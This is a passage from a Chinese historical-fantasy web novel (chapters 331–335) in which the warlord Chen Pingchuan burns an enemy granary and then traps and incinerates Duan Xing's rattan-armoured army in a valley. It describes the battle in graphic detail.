“我命你即刻返回江徽,统领镇海舰队主力,兵分两路。一路南下,给我把海南岛、宝岛这些海外之地,全部占了!建立前进基地,为我们日后提供源源不断的资源。另一路,封锁南海沿岸,给我在海上盯着岭南的冯彦章。他敢把一船人卖出去,你就给我凿沉他两艘船!让他知道,这片海上,谁说了算!” “末将遵命!”丁远眼中闪烁着兴奋的光芒,大声领命。他父亲的遗愿是澄清寰宇,如今,他将继承父亲的意志,在这片大海上,为陈平川开疆拓土。 陈平川的目光,又转向了陆地。 他的指挥杆,从江徽府,一路向西南方向划去,最后,重重地落在一个点上。 “陆师,由我亲自率领。我们不跟中原那帮人搅和,让他们先狗咬狗。我们向西,打通与西域的联系!” “西域?”王奎有些不解,“主公,西域贫瘠,我们去那里做什么?” “王将军,你只知其一,不知其二。”陈平川笑了笑,“西域虽贫瘠,但却是我另一块根基所在。更重要的是,打通西南,我们就能将江徽、建州,与敦煌连成一片。如此一来,我们便有了一个稳固的,进可攻、退可守的巨大后方!而且,我们西征的第一个目标,不是那些穷山恶水。” 他的指挥杆,在地图上一个叫做“曲靖”的地方点了点。 “我们的第一个目标,是盘踞在这里的‘滇王’,段兴。” “滇王,段兴?” 听到这个名字,在场的将领们大多面露疑惑。 这个名号,远不如蜀王、楚王那般响亮,显然是个刚刚冒头的地方豪强。 唯有新投奔不久,拄着拐杖的郭仲达,浑浊的眼中闪过一丝精光。 陈平川将众人的反应尽收眼底,他知道,要让这些习惯了在平原水乡作战的将领们接受一个全新的战略方向,必须给他们足够的理由。 “我知道大家在想什么。”陈平川的声音在安静的后堂里回响,“放着中原的沃土不去争,反而要劳师远征,去打西南的蛮夷之地,是不是有些舍本逐末?” 他顿了顿,拿起一份卷宗,扬了扬:“这是‘天算’司关于段兴的情报。此人是大理国段氏的旁支,趁着大业朝廷无力南顾,占据了滇东重镇曲靖,招兵买马,自立为王。虽然名号不响,但手底下,却有一支不可小觑的力量。” “什么力量?”林勇好奇地问道。 “藤甲兵。”陈平川吐出三个字。 这两个字一出,连一向沉稳的王奎,脸色都微微变了变。 “主公说的,可是那种用桐油浸泡过的藤条编织而成,刀枪不入,渡江不沉的藤甲?”王奎沉声问道,他早年在边军时,曾听过一些关于西南土司的传闻。 “正是。”陈平川点头,“情报上说,段兴麾下有三千藤甲兵,是他赖以横行滇东的王牌。这些人悍不畏死,寻常刀剑砍在藤甲上,连个白印都留不下。弓箭射上去,也大多会被弹开。若是与之野战,我们的士兵,恐怕要吃大亏。” 听到这里,堂内响起一阵倒吸凉气的声音。对于一支军队而言,碰上防御力如此变态的敌人,士气上首先就会被压制。 “那……那还怎么打?”石头急得抓耳挠腮。 陈平川微微一笑,目光转向了角落里一直沉默不语的秦锋。 “秦锋。” “末将在!” 那名身材矫健,面容冷峻的年轻将领立刻出列,声音不大,却异常沉稳。 秦锋,原是定海水师提督丁奉国的亲兵队长,丁奉国自刎后,他誓死要为提督报仇,却被丁远死死拦住,最终含泪归降。 陈平川见此人虽然沉默寡言,但一双眼睛锐利如鹰,身上有股子边军特有的悍勇之气。一问之下,才知道他本是北方人,家传的骑射功夫,只是因为丁奉国有恩,才一直留在水师。 陈平川当即拍板,将王奎投降过来的那些原边军骑兵,全部划归秦锋统领,组建了一支全新的骑兵部队,赐名“破风骑”。 “秦锋,我问你,你的箭,够快吗?”陈平川问道。 第331章 你的箭,不该只为复仇而射! 秦锋没有说话,只是默默地走到堂外,从亲兵手中取过自己的长弓。他弯弓搭箭,对准了百步之外,一根充当旗杆的木桩顶端。 “嗖!” 一声轻响,箭矢离弦。 众人还没看清箭的轨迹,就听“咄”的一声,那支箭,已经稳稳地钉在了旗杆的最顶端,箭羽还在微微颤动。 “好!”了尘和尚忍不住喝彩。 这一手箭术,已经不是单纯的勇武,而是近乎于道了。 就连箭术精准的燕飞也暗自点头,这箭术已经和他不相上下了。 秦锋收起弓,面无表情地走回堂内,重新站好,仿佛只是做了一件微不足道的小事。 陈平川满意地点了点头,他走到秦锋面前,拍了拍他的肩膀,压低了声音,用只有两人能听到的音量说道:“丁提督是国之忠良,他的仇,梁家那对母子是罪魁祸首。但眼下,天下大乱,奸贼四起,这些人,同样是祸害百姓的国贼。你的箭,不应该只为复仇而射。” 他看着秦锋的眼睛,一字一句地说道:“你的箭,该射向真正的敌人,射向所有阻碍我们澄清寰宇的障碍。为死者复仇,更要为生者开路。这,才是对丁提督在天之灵,最好的告慰。” 秦锋的身躯猛地一震,那双古井无波的眼睛里,第一次泛起了剧烈的波澜。 他一直以为,自己活着的唯一目的就是为丁提督复仇。但陈平川的话,却为他打开了一扇全新的窗户。 为生者开路…… 他猛地单膝跪地,声音嘶哑却无比坚定:“主公,末将明白了!从今往后,秦锋的箭,只为主公的霸业而发!” “好,起来吧。”陈平川将他扶起,心中一块石头落了地。他知道,这只沉默的雄鹰,终于找到了属于自己的天空。 安抚了秦锋,陈平川这才重新回到地图前,对众人说道:“藤甲兵虽然厉害,但并非无解。具体的破敌之策,我已有计较。此次西征,我意已决。” 他环视众人,下达最终命令:“王奎,林勇,石头,海哥,你们四人,各领本部兵马,共计四万,随我西征!阿魅、燕飞,你们暗影六子随行,负责情报刺探。太平道长,了尘和尚,还请二位随我同行,以防敌方有江湖高手。” “是!”众人轰然应诺。 “全伯那边,新式火器的研发不能停,让他加紧督造。我留一万破虏军,由林沧海将军担任建州、江徽留守,负责后方民政及粮草转运,确保我们前线无忧。” 被点到名字的林沧海,立即上前一步,躬身行礼:“主公信赖,老臣必不辱命。” 陈平川点了点头,最后看向丁远:“丁远,舰队那边,就全权交给你了。记住,我们的领海,决不许外人踏入一步。” “末将明白!”丁远重重抱拳。 军事会议结束,整个江徽、建州就像一台精密的战争机器,开始高速运转起来。 士兵集结,粮草调拨,军械分发,一切都在有条不紊地进行。百姓们得知陈平川要出征扫平西南的乱匪,纷纷自发地送来鸡蛋、布鞋,为大军送行。 他们不懂什么争霸天下的大道理,只知道陈平川来了,他们才能吃饱饭,睡安稳觉。谁要跟陈大人作对,谁就是他们的敌人。 三日后,建州城外,四万大军集结完毕,玄色的旗帜遮天蔽日。 陈平川一身戎装,骑在战马之上。他没有发表什么慷慨激昂的战前动员,只是勒转马头,遥遥望向西南的天际。 在那里,有新的挑战,也有通往霸业的,更广阔的道路。 “出发!” 一声令下,大军开拔。车轮滚滚,马蹄声碎,一条巨龙,蜿蜒着向着未知的西南大地,缓缓而去。 …… 大军一路西行,离开了富庶的江淮平原,地势渐渐变得崎岖。官道不再平坦,取而代之的是蜿蜒于群山之间的土路。 但四万破虏军,却依旧保持着惊人的纪律。 行军途中,没有喧哗,没有骚扰地方。士兵们默默地赶路,饿了就啃几口随身携带的干粮,渴了就喝一口水囊里的清水。到了宿营地,安营扎寨,埋锅造饭,巡逻放哨,一切都井然有序,仿佛演练了千百遍。 这份纪律性,让随军的太平道长和了尘和尚暗暗心惊。 他们见过朝廷的官军,也见过各路所谓的“义军”,但从未见过这样一支军队。寻常军队,行军时间一长,必然士气低落,军纪涣散,甚至会发生兵痞骚扰百姓的事情。 可陈平川的军队,却像是一块没有感情的钢铁。每个人都清楚自己的职责,并且不折不扣地去完成。 “老牛鼻子,你说这陈主公,到底是怎么练的兵?”了尘和尚凑到太平道长身边,压低声音问道,“这哪里是兵,简直是一群会走路的傀儡,指哪打哪,连个屁都不放。” 太平道长抚着长须,目光深邃地看着前方那道年轻却挺拔的背影,缓缓说道:“这不是傀儡,这是信念。你看他们的眼睛。” 了尘和尚顺着他的目光看去,只见那些士兵虽然沉默,但眼神却异常明亮。那是一种吃饱了饭,对未来有盼头的眼神。他们相信,跟着前面那个人,就能过上好日子。为了守护这份好日子,他们愿意付出一切。 “他给士兵的,不仅仅是军饷和饱饭。”太平道长感慨道,“他给的,是尊严,是希望。所以,这支军队,战无不胜。” 大军行进了近一个月,终于抵达了滇东地界。 空气变得湿热,植被也愈发茂密。高大的山峦连绵不绝,云雾缭绕,充满了神秘和危险的气息。 大军在进入山区前的一处平坝地带安营扎寨,陈平川立刻派出了斥候。 领队的,正是暗影六子中的燕飞和马三。两人一个轻功绝顶,擅长潜行,一个机灵狡黠,精通各种地方方言,是斥候的最佳人选。 三日后,燕飞和马三带着一身风尘,悄然返回中军大帐。 “主公,情况探明了。”马三灌了一大口水,抹了把嘴,开始汇报。 第332章 致命弱点!那身藤甲,是战袍也是棺材! “那滇王段兴,确实不好对付。他把曲靖城经营得跟铁桶一样,城高墙厚,储备了大量的粮草。我们若是强攻,恐怕要付出不小的代价。” 燕飞接着说道:“最麻烦的,还是他的藤甲兵。我们亲眼看到,一队藤甲兵在城外操练。寻常刀剑砍上去,只能留下一道浅浅的白痕。他们行动敏捷,在山林里如履平地。而且,段兴此人极为残暴,对内压榨百姓,对外则吞并了不少小部落,将那些部落的青壮,都编入了军队,号称有五万大军。” “五万?”林勇哼了一声,“不过是虚张声势罢了。关键还是那三千藤甲兵。” “没错。”陈平川点了点头,手指在简易的沙盘上划动,“曲靖城易守难攻,我们不能把时间和兵力消耗在坚城之下。必须想办法,把段兴和他的藤甲兵,从城里引出来,在野外解决掉。” “怎么引?”海哥问道,“段兴又不傻,他有坚城和藤甲兵两大依仗,只要死守,我们远道而来,粮草补给困难,耗久了,吃亏的是我们。” 海哥的话,说出了所有将领的心声。 这是一场客场作战,时间,站在敌人那一边。 大帐内的气氛,一时间有些凝重。 众人你一言我一语,提出了好几个方案。 比如,派小股部队袭扰,引诱敌军出城。但段兴很可能只会派出少量部队应战,主力藤甲兵绝不会轻易出动。 又比如,分兵去攻打段兴控制下的其他城池,围点打援。但西南山路崎岖,分兵容易被敌人各个击破。 讨论了半天,也没有一个万全之策。 陈平川没有说话,只是静静地听着,目光始终没有离开那座代表着曲靖城的沙盘。 他知道,这是一块硬骨头。段兴能在这里立足,绝非等闲之辈。他占据了地利,又有藤甲兵这张王牌,心态上必然是稳坐钓鱼台。 想让他这条鱼主动咬钩,就必须下一个让他无法拒绝的饵。 这个饵,是什么呢? 陈平川的脑子飞速运转着。 段兴的性格,根据情报描述,是“残暴、多疑、且极度贪婪”。 残暴,意味着他不会在乎普通士兵的死活。 多疑,意味着他不会轻易相信别人,小恩小惠的诱饵打动不了他。 贪婪,这才是他最大的弱点! 只要有足够大的利益,就能让他失去理智,冲昏头脑。 可在这穷山恶水之地,自己能拿出什么让他动心的诱饵呢?金银财宝?自己带的军费倒是不少,可怎么才能让他相信,并且愿意出城来抢? 陈平川陷入了沉思。 夜色渐深,大帐内的将领们也渐渐安静下来,都看着眉头紧锁的主公,不敢打扰。 整个营地,只剩下风吹过山林的呼啸声,和远处篝火燃烧时发出的噼啪声。 这场西征的第一战,似乎从一开始,就陷入了僵局。 …… 一连两日,中军大帐内的议事都没有结果。 陈平川的大军就这么驻扎在曲靖城外百里,按兵不动,这让军中一些性急的将领,如石头等人,都有些坐不住了。 “主公,咱们就这么干等着?咱们粮草已经不多了,再拖下去,士兵们只能喝西北风啦!”海哥在帐内来回踱步,像一头被关在笼子里的熊。 “你懂什么,主公这是在想万全之策!”林勇瞪了他一眼,“打仗是靠脑子的,不是靠蛮力。” 陈平川摆了摆手,示意他们安静。他这两天几乎没怎么合眼,脑子里反复推演着各种可能性,但总觉得差了点什么。 就在这时,帐外亲兵通报:“主公,军师祭酒郭仲达先生求见。” “郭先生?”陈平川有些意外,连忙道,“快请!” 郭仲达是文官,负责后勤调度,按理说不该参与前线的军事会议。他这个时候来,必有要事。 很快,郭仲达拄着拐杖,步履蹒跚地走了进来。他虽然年纪大了,腿脚也不利索,但一双眼睛却依旧清亮有神。 “老臣,参见主公。”郭仲达躬身行礼。 “郭先生不必多礼,快请坐。”陈平川亲自上前将他扶到一旁的座位上,“先生深夜前来,可是后方粮草出了问题?” “主公放心,后方一切安好。”郭仲达摇了摇头,他喘了口气,才缓缓开口,“老臣听闻,主公正为如何对付段兴而烦忧?” 陈平川眼中闪过一丝讶异,点了点头:“确有此事。先生有何高见?” 郭仲达抚着胡须,缓缓道:“那段兴虽然将大部分粮草囤积于城中,但此人多疑,正所谓狡兔三窟。他在城外东南三十里的一处隐秘山谷中,还藏匿了一处巨大的粮仓,以备不时之需。此事,是老臣一位远亲暗中告知,千真万确。” “哦?”陈平川精神一振,“此言当真?” “老臣敢以项上人头担保。”郭仲达斩钉截铁地说道,“只要我们派一支精兵,绕道奇袭,烧毁他的粮草。段兴城内虽有存粮,但五万大军人吃马嚼,消耗巨大。粮仓被烧,他军心必乱,到时必然会出城与我军决一死战!” 陈平川大喜过望,抚掌道:“先生此计,真乃釜底抽薪之策!解我燃眉之急!” 众将闻言,也是摩拳擦掌,但林勇比较稳重,提出了疑虑:“军师此计虽好,可就算引出了段兴,那三千藤甲兵又该如何对付?刀枪不入,委实难缠。” 郭仲达也面露忧色:“是啊,藤甲兵浸油七七四十九日,坚韧无比,水火不侵……嗯?水火不侵?”他自己说到这里,也愣住了,寻常的火箭怕是也奈何不了。 陈平川却微微一笑,拿起桌上的毛笔,在白纸上写下了一个大大的“火”字。 郭仲达先是一怔,随即死死地盯着那个“火”字,浑浊的老眼中爆发出惊人的光彩,他明白了!藤甲不怕寻常的火,但若是漫山遍野的大火呢?那浸透了油的藤甲,岂不成了最好的引火之物!一计扣一计,环环相扣,天衣无缝! 众将领也是恍然大悟,一个个面露喜色。 “对啊!烧他娘的!” “这帮孙子穿着一身油,咱们一把火过去,不就变成烤乳猪了!” 大帐内的气氛,瞬间从凝重变得热烈起来。 郭仲达向陈平川施礼,微笑道:“主公聪慧过人,老臣拜服!” “先生过奖了。”陈平川拉着郭仲达的手,让他坐在主位旁边,“先生的计策比我的还要釜底抽薪。” 有了破敌之法,接下来的事情就简单了。 陈平川立刻召集众人,重新制定作战计划。 第333章 黑骑踏月奔百里,烈焰焚天烧粮山 “林勇!” “末将在!” “你出身渔民,最熟悉油料。我命你立刻在军中征集所有能找到的桐油、鱼油、火油,越多越好!再让工匠营赶制陶罐,我们要制作一批‘简易燃烧弹’!” “是!”林勇兴奋地领命而去。 “秦锋!” “末将在!” “你的破风骑,是我们的关键。我需要你……”陈平川在秦锋耳边,低声交代了几句。 秦锋听完,眼中寒光一闪,重重点头:“末将明白!” “石头,王奎!” “在!” “你们二人,负责正面佯攻,务必要把戏做足,将段兴的主力,给我引到预定地点!” “好嘞!主公,瞧好吧您!” 一道道命令下达,整个大营再次高速运转起来,但这一次,所有人的脸上都带着一种胸有成竹的兴奋。 看着众人离去的背影,陈平川的嘴角,勾起一抹冷酷的弧度。 他走到沙盘前,看着那座代表曲靖城的模型,仿佛已经看到了段兴和他那三千藤甲兵,在烈火中哀嚎的场景。 “段兴,你的藤甲兵,准备好洗个‘热水澡’了吗?” …… 计划已经制定,但陈平川并不急于执行。 他深知,段兴多疑,如果自己这边突然有了动作,很可能会引起他的警觉。 要让他这条贪婪的鱼儿上钩,就必须先让他感到切肤之痛,让他方寸大乱。 而一支军队最大的痛处,永远是粮草。 夜,深沉如墨。 破虏军大营一片寂静,只有巡逻的士兵踩在草地上的沙沙声。 但在大营的后方,一支约有三千人的骑兵部队,已经悄然集结。 马蹄上都裹着厚厚的棉布,士兵的嘴里都衔着木嚼,肃杀的沉默笼罩着这支队伍。 为首的,正是破风骑统领,秦锋。 他一身黑甲,背负长弓,腰悬佩刀,如同一尊蓄势待发的雕像,冷冷地注视着西南方向的夜空。 陈平川亲自来为他送行。 “秦锋,此去百里,山路难行,还要绕过敌人的多处暗哨,任务艰巨,万事小心。”陈平川拍了拍他的肩膀。 “主公放心。”秦锋的声音一如既往的简短有力,“破风骑,使命必达。” “此战,不求杀敌,只求毁其粮草。一旦得手,立刻回撤,不要恋战。”陈平川再次叮嘱。 “明白。” 陈平川点了点头,不再多言。他知道,对于秦锋这样的人来说,过多的言语反而是种累赘。 他退后一步,挥了挥手。 秦锋勒转马头,对着身后的三千破风骑,做了个前进的手势。 没有口号,没有呐喊。 三千骑兵,如同一道黑色的潮水,悄无声息地融入了茫茫的夜色之中,向着段兴的后方——盘蛇谷,疾驰而去。 盘蛇谷,是段兴最大的粮草囤积地。那里地势险要,只有一个出口,易守难攻,由他的心腹大将看守,驻有五千兵马。段兴自以为万无一失。 秦锋率领的破风骑,并没有走官道,而是选择了一条极为难行的山间小路。这条路,是燕飞和马三花了三天三夜,用双脚探出来的。 崎岖的山路对骑兵来说是致命的,战马随时可能失足跌落山崖。 但破风骑的士兵,都是王奎带过来的原北方边军,他们从小在马背上长大,骑术精湛,意志如铁。 他们时而牵马而行,时而飞身上马,在陡峭的山壁间,如履平地。 整整两天三夜的急行军,人与马都已接近极限。很多士兵的嘴唇干裂,脸上满是疲惫,但没有一个人叫苦。 他们的眼神,始终追随着最前方那道挺拔的身影。 秦锋,就是他们的主心骨。 第三天黎明,当第一缕晨光刺破云层时,一座巨大的山谷,出现在了他们眼前。 盘蛇谷,到了。 “原地休整,恢复马力!一个时辰后,准备进攻!”秦锋下达了命令。 士兵们立刻下马,从行囊中掏出炒米和肉干,大口地咀嚼着,同时小心地喂食自己的战马。 秦锋则独自一人,登上一处高地,用千里镜观察着谷内的情况。 谷口戒备森严,有鹿角和拒马,箭塔上站满了哨兵。谷内,一座座巨大的粮仓清晰可见,无数的士兵在其中穿梭巡逻。 强攻,无异于以卵击石。 但秦锋的脸上,却没有丝毫的紧张。 他收起千里镜,嘴角露出一丝冷笑。 一个时辰后,破风骑再次集结。 秦锋将三千骑兵,分成了三队。 “第一队,随我正面佯攻,吸引敌军注意!” “第二队,从西侧山坡绕后,待谷内敌军出动,立刻射出火箭,引燃粮仓!” “第三队,埋伏在东侧,截断敌军退路,务必全歼其出谷追击之敌!” 命令下达,三支队伍立刻分头行动。 “杀!” 秦锋一声怒吼,亲自率领一千骑兵,如同一柄出鞘的利剑,直插盘蛇谷谷口! “敌袭!敌袭!” 谷口的守军瞬间大乱,刺耳的警报声响彻山谷。 “哪来的贼寇,不知死活!”守谷主将勃然大怒,他见对方只有千余骑,根本没放在眼里,立刻下令:“打开谷门,给我冲出去,碾碎他们!” 五千守军,如潮水般从谷内涌出。 秦锋见状,毫不恋战,立刻拨转马头,带着手下佯装不敌,向后撤退。 “哈哈哈,一群废物!给我追!”守谷主将大笑着,率领大军,紧追不舍。 他做梦也想不到,自己已经一脚踏入了死亡的陷阱。 就在谷内大半守军被引出山谷的瞬间。 “嗖!嗖!嗖!” 无数支燃烧着熊熊烈火的火箭,从西侧的山坡上,铺天盖地般地射向了谷内的粮仓! 那些粮仓都是木质结构,又堆满了干燥的粮草,沾火即燃! 轰! 一团巨大的火焰冲天而起,火光映红了半边天! 紧接着,第二座,第三座…… 转瞬之间,整个盘蛇谷,变成了一片火海! “不好!中计了!粮仓!我们的粮仓!” 追击中的守谷主将,回头看到这一幕,吓得魂飞魄散。他知道,粮草若是没了,滇王非扒了他的皮不可! “快!快回去救火!”他声嘶力竭地吼道,急忙调转方向,想往回跑。 但,已经晚了。 第334章 滇王一念起贪嗔,四万大军入鬼门 “杀!” 东侧的山林中,突然杀声震天! 早已埋伏好的第三队破风骑,如猛虎下山,截断了他们的归路。 而佯装败退的秦锋,也在此刻,率领第一队骑兵,返身杀了回来! 两面夹击! 这些守粮的步兵,在平原上尚且不是精锐骑兵的对手,更何况此刻军心大乱,阵型混乱。 战斗,从一开始,就呈现出一边倒的屠杀。 破风骑的士兵们,将连日来的疲惫和压抑,全部化作了手中的马刀,狠狠地劈向敌人。 刀光闪烁,血肉横飞。 不到半个时辰,战斗便已结束。 五千守军,除了少数逃入山林,大部被歼。 秦锋立马于尸山血海之中,冷冷地看着远处那冲天的火光,脸上没有任何表情。 他知道,自己已经完成了主公交代的任务。 为大军的决战,扫清了第一个,也是最重要的一个障碍。 “全军集合,撤退!” 他没有丝毫的停留,带着一身的血腥和煞气,率领着得胜的破风骑,再次消失在了茫茫群山之中。 盘蛇谷粮仓被烧的消息,很快就传到了曲靖城的滇王段兴头上。 “什么?粮草被烧了?一群废物!” 滇王宫内,段兴一脚踹翻了面前的桌案,酒菜洒了一地。他双目赤红,像一头暴怒的狮子,对着跪在地上瑟瑟发抖的信使咆哮:“五千人!整整五千人!连一个粮仓都守不住!本王养你们这群饭桶何用!” “大王饶命!大王饶命!是……是敌人的骑兵,他们从山里钻出来,放了火就跑,我们……我们根本挡不住啊!”信使吓得屁滚尿流。 “骑兵?”段兴喘着粗气,努力让自己冷静下来。 他知道,能在西南的山地里来去如风的骑兵,绝非等闲之辈。 陈平川的军队,比他想象中,要精锐得多。 “大王,粮草被烧了十之七八,我们城中的储备,最多只能支撑十天了。”一旁的文官小心翼翼地禀报道。 十天! 段兴的心沉了下去。 他原本的计划,是凭借坚城和藤甲兵,跟陈平川耗下去。他耗得起,可陈平川远道而来,绝对耗不起。 但现在,形势完全逆转了。 粮草被断,时间,反而成了悬在他头顶的一把刀。 如果一个月内不能击退陈平川,他的军队,就会不战自溃。 “陈平川……你好狠的手段!”段兴咬牙切齿。 就在他心烦意乱之际,又有探子来报。 “报!大王,城外陈平川的大军,开始拔营了!看样子,像是要……要撤退!” “什么?撤退?”段兴一愣,随即眼中爆发出狂喜的光芒。 他立刻登上城楼,用千里镜向远处望去。 果然,远处破虏军的大营,已经是一片忙乱。旗帜歪倒,士兵们像是没头苍蝇一样来回奔跑,甚至有人在拆卸营帐,一副准备跑路的狼狈模样。 “哈哈哈!”段兴忍不住放声大笑,“本王就说嘛!他粮草不济,后援断绝,怎么可能跟本王耗下去!这是怕了!这是要逃跑了!” 他身边的将领们也纷纷附和。 “恭喜大王,贺喜大王!不战而屈人之兵!” “陈平川也不过如此,雷声大雨点小!” 段兴被吹捧得有些飘飘然,他本就生性自负,此刻更是觉得陈平川是被自己吓跑的。 “大王,我们是否要出城追击?”一名将领请示道。 段兴眯起了眼睛,贪婪的本性再次占据了上风。 陈平川的军队,装备精良,这他是知道的。如果能趁他败退,咬下他一块肉来,那缴获的军械物资,足以弥补粮草的损失,甚至还能大赚一笔! “传我命令!”段兴大手一挥,豪气干云地说道,“全军出击!尤其是藤甲兵,给本王冲在最前面!本王要让陈平川知道,我滇东的地盘,不是他想来就来,想走就走的!” “大王英明!” 刺耳的号角声在曲靖城头响起。 厚重的城门缓缓打开,段兴亲率四万大军,倾巢而出。 三千名身穿乌黑藤甲的士兵,组成了最前方的攻击箭头,他们手持长刀盾牌,迈着沉重的步伐,发出的声音如同闷雷滚滚,气势骇人。 陈平川的军队,似乎被这阵势吓破了胆。 “撤!快撤!” 破虏军的阵营里,传来了将领们“惊慌失措”的喊声。 士兵们丢盔弃甲,争先恐后地向着东边的葫芦谷方向“逃窜”。 “一群东边的软脚虾,也敢来我滇地撒野?给我追!一个不留!”段兴在马上用马鞭指着前方,兴奋地大吼。 他仿佛已经看到,无数的战利品和俘虏,正在向他招手。 破虏军“溃败”得毫无章法,段兴的大军则紧追不舍。 一追一逃,很快就奔出了数十里。 前方,出现了一个巨大的谷口,两边是高耸的山壁,地形酷似一个葫芦,只有一个狭窄的入口。 “逃”在最前面的破虏军,毫不犹豫地一头扎进了谷内。 “哈哈哈,他们钻进口袋里了!真是天助我也!”段兴大喜过望,“给我堵住谷口,今天,本王要在这里,全歼陈平川!” 他一声令下,四万大军,以藤甲兵为先导,如同潮水一般,涌进了葫芦谷。 山谷内,道路越走越窄。 段兴追得兴起,丝毫没有察觉到任何异常。 他只看到前方“溃逃”的敌军,离自己越来越近,胜利的果实,仿佛触手可及。 就在他率领大军,完全进入葫芦谷腹地,那最狭窄的地段时。 异变,陡生! 轰隆隆! 震耳欲聋的巨响,从谷口的方向传来! 段兴猛地回头,只见无数的滚木和巨石,如同瀑布一般,从两侧的山壁上倾泻而下,瞬间就将他们来时的路,堵得严严实实! “不好!有埋伏!”段兴的脸色,瞬间变得惨白。 他还没来得及下令,山谷的另一头,同样是巨石滚木落下,封死了他们的去路。 前路被断,后路被堵。 四万大军,被严严实实地困死在了这个狭长的葫芦谷之中! “中计了!我们中计了!” 滇军士兵们终于反应了过来,阵型瞬间大乱,惊恐的呼喊声此起彼伏。 就在这时,在山谷两侧的山壁上,突然冒出了无数的人影。 他们是破虏军的士兵,一个个手持着奇特的陶罐,面无表情地俯视着谷底那些如同待宰羔羊般的敌人。 山谷的最高处,一面玄色的“陈”字大旗,迎风展开。 旗帜下,陈平川一身戎装,负手而立,眼神冰冷地看着谷底那张皇失措的段兴,嘴角,勾起一抹死神般的微笑。 他缓缓抬起手,然后,重重落下。 “放!” 第335章 桐油漫谷成火海,藤甲不坏成笑谈 随着陈平川一声令下,山壁上,林勇和他手下那些由渔民组成的投掷手,露出了狰狞的笑容。 “兄弟们,给滇王和他的宝贝藤甲兵,洗个热水澡!”林勇扯着嗓子大吼。 “噢!” 士兵们发出一阵怪叫,将手中一个个沉甸甸的陶罐,奋力地朝着谷底抛了下去。 “小心!是滚石!” 谷底的滇军士兵,下意识地举起盾牌。 但他们很快就发现,从天而降的,并非坚硬的石头。 “啪!啪!啪!” 陶罐在人群中,在藤甲上,在地面上,不断碎裂。 一股股粘稠的,散发着刺鼻气味的液体,四处飞溅。 “这是什么?油?” 一名藤甲兵抹了一把脸上的液体,凑到鼻子前闻了闻,满脸疑惑。 桐油! 大量的桐油,如同下雨一般,泼洒在密集的人群中。那些为了防水而经过特殊处理的藤甲,此刻就像海绵一样,贪婪地吸收着这些致命的液体。 段兴看着这诡异的一幕,心中那股不祥的预感,越来越强烈。 “不对劲!快!快想办法冲出去!”他声嘶力竭地吼道。 但,一切都太迟了。 “放箭!” 山壁的另一侧,秦锋和他麾下的破风骑,早已弯弓搭箭。 他们的箭矢上,都绑着浸透了火油的布条。 “嗖!嗖!嗖!” 上千支火箭,拖着长长的焰尾,如同流星火雨,划破长空,射向了被桐油浸透的谷底。 当第一支火箭,落入人群。 轰——! 一团巨大的火球,猛然炸开! 仿佛是点燃了一个巨大的火药桶,整个葫芦谷的地面,瞬间被烈焰吞噬! 火舌,沿着泼洒的桐油,疯狂蔓延,形成了一片真正意义上的火海! “啊——!” 凄厉到不似人声的惨叫,响彻云霄。 那些不可一世的藤甲兵,他们引以为傲的藤甲,此刻要了他们的命! 油助火势,火借风威。 藤甲在高温下迅速燃烧,将他们牢牢地包裹在里面,变成了一个个挣扎扭曲的人形火炬。 他们疯狂地在地上翻滚,试图扑灭身上的火焰,但只是徒劳。 他们想脱下身上的藤甲,但那甲胄早已被烧得滚烫,与皮肉粘连在一起。每一次撕扯,都带下一大片血肉。 空气中,弥漫着一股令人作呕的焦臭味。 三千藤甲兵,这支让段兴横行滇东的王牌,在短短不到一炷香的时间里,就在这片火海地狱中,被焚烧殆尽。 这恐怖绝伦的景象,彻底摧毁了其余滇军士兵的心理防线。 他们的王牌,他们心中不可战胜的神,就这么被活活烧死了! “魔鬼!他们是魔鬼!” “快跑啊!” 滇军阵型彻底崩溃,士兵们像没头的苍蝇一样四处乱撞,互相踩踏,哭喊声、求饶声,响成一片。 但山谷两头都被堵死,他们又能跑到哪里去? “石头!王奎!该你们了!”山顶上,陈平川冷酷地下达了总攻的命令。 “杀!” 山谷两端,早已蓄势待发的破虏军步兵,如同两股钢铁洪流,发起了最后的冲锋。 他们手持长枪,组成密不透风的鸳鸯阵,一步步地向前推进,无情地收割着那些已经丧失斗志的溃兵。 这是一场单方面的屠杀。 段兴面如死灰地看着眼前的一切,他的军队,他的王牌,他的霸业,都在这场大火中,化为了灰烬。 “陈平川……我……我跟你拼了!” 他状若疯癫,拔出佩剑,带着身边仅剩的百余名亲卫,朝着陈平川所在的山壁方向,发起了绝望的冲锋。 “不自量力。” 陈平川甚至懒得动弹,只是冷冷地吐出四个字。 他身边的暗影六子,如同鬼魅一般,悄无声息地迎了上去。 阿魅的身形化作一道粉色的幻影,玲儿的软剑刁钻狠辣,燕飞的箭矢例不虚发…… 仅仅几个呼吸之间,段兴的亲卫,便被屠戮一空。 只剩下段兴一人,孤零零地站在尸体中间,握着剑的手,抖得像秋风中的落叶。 一道高大如铁塔的身影,挡在了他的面前。 是石头。 “你……你别过来!”段兴吓得连连后退。 石头咧嘴一笑,露出两排白森森的牙齿。他甚至没有用武器,只是伸出蒲扇般的大手,一把抓住了段兴的脖子,像拎小鸡一样,将他提了起来。 “咔嚓!” 一声清脆的骨裂声。 不可一世的滇王段兴,连哼都没哼一声,脑袋便歪向了一边,彻底没了声息。 石头随手将他的尸体扔在地上,挠了挠头,瓮声瓮气地对陈平川喊道:“主公,解决了。” 陈平川点了点头,目光扫过整个血腥的战场,没有一丝波澜。 战争,本就是如此残酷。 对敌人的仁慈,就是对自己的残忍。 他知道,从今天起,整个西南,再也没有任何力量,可以阻挡他的脚步了。 葫芦谷的冲天大火,足足烧了一天一夜才渐渐熄灭。 整个山谷,都弥漫着一股浓烈的焦糊味,地面被熏得漆黑,到处都是扭曲焦黑的尸体,景象宛如人间地狱。 破虏军的士兵们在打扫战场时,许多年轻的士兵都忍不住吐了出来。他们虽然经历过厮杀,但从未见过如此惨烈可怖的场景。 陈平川没有安慰他们,只是让他们看着。 他要让这些士兵明白,战争不是请客吃饭,战场之上,不是你死,就是我活。只有对敌人足够残忍,才能让自己和身后的家人活下去。 此战,破虏军以极小的代价,全歼段兴主力四万余人,缴获的军械、马匹、粮草不计其数。 消息传开,整个滇东为之震动。那些原本被段兴吞并,敢怒不敢言的小部落、小土司,纷纷派人前来,向陈平川献上牛羊和忠诚。 对于这些墙头草,陈平川来者不拒,但也没有给予过多的信任,只是安抚一番,便让他们回去了。 他真正的目标,是曲靖城西边,那片更广阔的土地——大理。 庆功宴上,众将领推杯换盏,兴高采烈。 “主公,段兴已死,曲靖唾手可得!咱们下一步,是不是就该直接杀奔大理城,把那个什么大理国主也给灭了,彻底拿下西南?”林勇喝得满脸通红,大着舌头说道。 “不可。” 